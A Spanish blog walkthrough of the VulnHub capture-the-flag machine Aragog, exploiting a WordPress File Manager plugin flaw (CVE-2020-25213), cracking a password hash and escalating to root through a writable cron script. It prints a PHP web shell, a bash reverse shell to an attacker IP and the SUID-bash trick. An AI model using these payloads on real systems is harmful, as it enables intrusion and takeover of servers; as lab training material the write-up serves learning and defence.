Entrada

Aragog

En esta publicación, abordaremos la resolución de la máquina Aragog de la plataforma VulnHub, la cual forma parte de la serie de máquinas inspiradas en Harry Potter. En primer lugar, aprovecharemos una vulnerabilidad presente en un plugin del CMS que está en ejecución en la máquina víctima, lo que nos permitirá lograr la ejecución remota de comandos. Posteriormente, obtendremos acceso a la base de datos, donde encontraremos un hash correspondiente a la contraseña de un usuario. Este hash puede ser crackeado utilizando la herramienta john. Finalmente, para elevar nuestros privilegios, modificaremos un script con permisos SUID.

Reconocimiento

Iniciamos como siempre, lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Aragog Reconocimento usando el comando ping

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live).

Descubrimiento de puertos abiertos

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

1
nmap -sS -p- --open --min-rate -Pn -n 5000 192.168.1.13 -oG scanPorts -vvv

Aragog Descubrimiento de puertos abiertos

ver la Cheatsheet para más detalle sobre los parámetros utilizados.

Enumeración de versión y servicio

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.

1
nmap -sCV -p22,80 -oN targeted -vvv 192.168.1.13

Aragog Descubrimiento de versión y servicio con nmap

ver la Cheatsheet para más detalle sobre los parámetros utilizados.

Explotación - Wordpress

Si ejecutamos la herramienta wathweb al puerto 80 de la máquina víctima, vemos que nos reporta lo siguiente:

Aragog wathweb

Observamos que la información que nos muestra esta herramienta es limitada, informando únicamente que la versión de Apache (2.4.25) y el sistema operativo Debian.

Al acceder al sitio web, nos encontramos con lo siguiente:

Aragog Web

Si realizamos un poco de fuzzing con la herramienta gobuster, descubrimos la ruta /blog.

Aragog Web Fuzzing

Al ingresar a la ruta, nos encontramos con lo que parecer ser una instancia del CMS Wordpress.

Aragog Wordpress

Podemos utilizar Wappalyzer para conocer un poco más sobre las tecnologías usadas en la web.

Aragog Wordpress

Vemos que estamos frente a un Wordpress (5.0.12), Apache (2.4.38) y el sistema operativo Debian y como motor de base de datos MySQL.

Al parecer, no se estan logrando cargar recursos de la web, estilos css, archivos javascript, imágenes, etc. Si miramos el código fuente, vemos que se estan cargando desde un dominio que no se esta logrando resolver wordpress.aragog.hogwarts.

Aragog Web - código fuente

Agregamos el domino a nuestro archivo /etc/hosts.

1
echo "192.168.1.13 aragog.hogwarts wordpress.aragog.hogwarts" >> /etc/hosts

Recargamos la página web y observamos que los recursos se cargan correctamente esta vez.

Aragog Blog Wordpress

Realizamos una enumeración de Wordpress en busca de plugins o temas vulnerables, en este caso, usando la herramienta wpscan.

1
wpscan --url http://wordpress.aragog.hogwarts/blog --api-token $WP_TOKEN --plugins-detection aggressive

Aragog Enumeración de Wordpress

Podemos utilizar otras herramientas como nmap utilizando el script http-wordpress-enum, nuclei o la realización de fuzzing con ffuf, gobuster, entre otras, podrían ser utilizadas.

Vemos que nos reporta varias vulnerabilidades, entre ellas, el plugin File Manager 6.0-6.9 el cual es vulnerable a Unauthenticated Arbitrary File Upload leading to RCE. Dicha vulnerabilidad esta identificada como CVE-2020-25213.

Si ingreamos al primer enlace que nos idnica la herramienta wpscan, podemos ver que nos comparten un PoC. Descargamos el script de Python.

Aragog Exploit

Antes de ejecutar el exploit, debemos crear un archivo php con nombre payload.php el cual contendra nuestro código php que será subido al servidor.

Aragog Exploit

1
<?php system($_GET['cmd']); ?>

Aragog Ejecución del exploit

La ruta correcta es: http://wordpress.aragog.hogwarts/blog/wp-content/plugins/wp-file-manager/lib/files/payload.php y no la que indica el exploit.

Accedemos a la ruta e indicamos como paráemtro cmd=id.

Aragog Explotación del RCE

Vemos que tenemos capacidad de ejecución remota de comandos.

Ejecutamos una reverse shell. Para lo cual, nos ponemos en escucha por el puerto 4444 con nc.

1
nc -lnvp 4444

Ejecutamos la reverse shell.

1
http://wordpress.aragog.hogwarts/blog/wp-content/plugins/wp-file-manager/lib/files/payload.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.14/4444%200%3E%261%22

Ganamos acceso al sistema como el usuario www-data.

Aragog usuario www-data

Hacemos el tratamiento de la tty para tener una terminal más interactiva:

  • script /dev/null -c bash
  • CTRL + Z
  • stty raw -echo; fg
  • reset xterm
  • export TERM=xterm
  • export SHELL=bash
  • stty rows <rows> columns <columns>

De esta forma, ya podemos leer el primer horrocrux.

Aragog horrocrux 1

1: RidDlE’s DiAry dEstroYed By haRry in chaMbEr of SeCrets

Usuario hagrid98

Si realizamos un reconocimiento del sistema, nos encontramos con un archivo con las credenciales de la base de datos wordpress.

Nos conectamos a la base de datos y logramos obtener el hash de la contraseña del usuario hagrid98.

Aragog Base de datos wordpress

Crackeamos la contraseña con john.

Aragog Crackeamos la contraseña utilizando john

Obtenemos la contraseña del usuario hagrid98 y nos conectamos a través de ssh.

Aragog usuario hagrid98

Escalación de privilegios

Si miramos las tareas cron en ejecución utilizando la herramienta pspy64, nos encontramos con una tarea la cual ejecuta un script ubicado en /opt/.backup.sh.

Aragog script /opt/.backup.sh

El propietario de este script es el usuario hagrid98, por lo que estamos de suerte ya que podemos modificar el contenido del script.

Aragog script /opt/.backup.sh

Aragog script /opt/.backup.sh

Modificamos el script para asignar permisos SUID al binario bash.

Aragog script /opt/.backup.sh

Aragog script /opt/.backup.sh

De esta manera, ya podemos escalar nuestros privilegios y acceder como el usuario root.

Aragog usuario root

Finalmente, obtenemos el segundo horrocrux.

Aragog horrocrux 2

2: maRvoLo GaUnt’s riNg deStrOyed bY DUmbledOre

Con esto, finalizamos la resolución de la máquina Aragog.

Espero que los conceptos hayan quedado claros. En caso de tener alguna duda, te invito a realizar nuevamente la máquina para afianzar tus conocimientos.

Gracias por tu lectura!

Happy Hacking!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.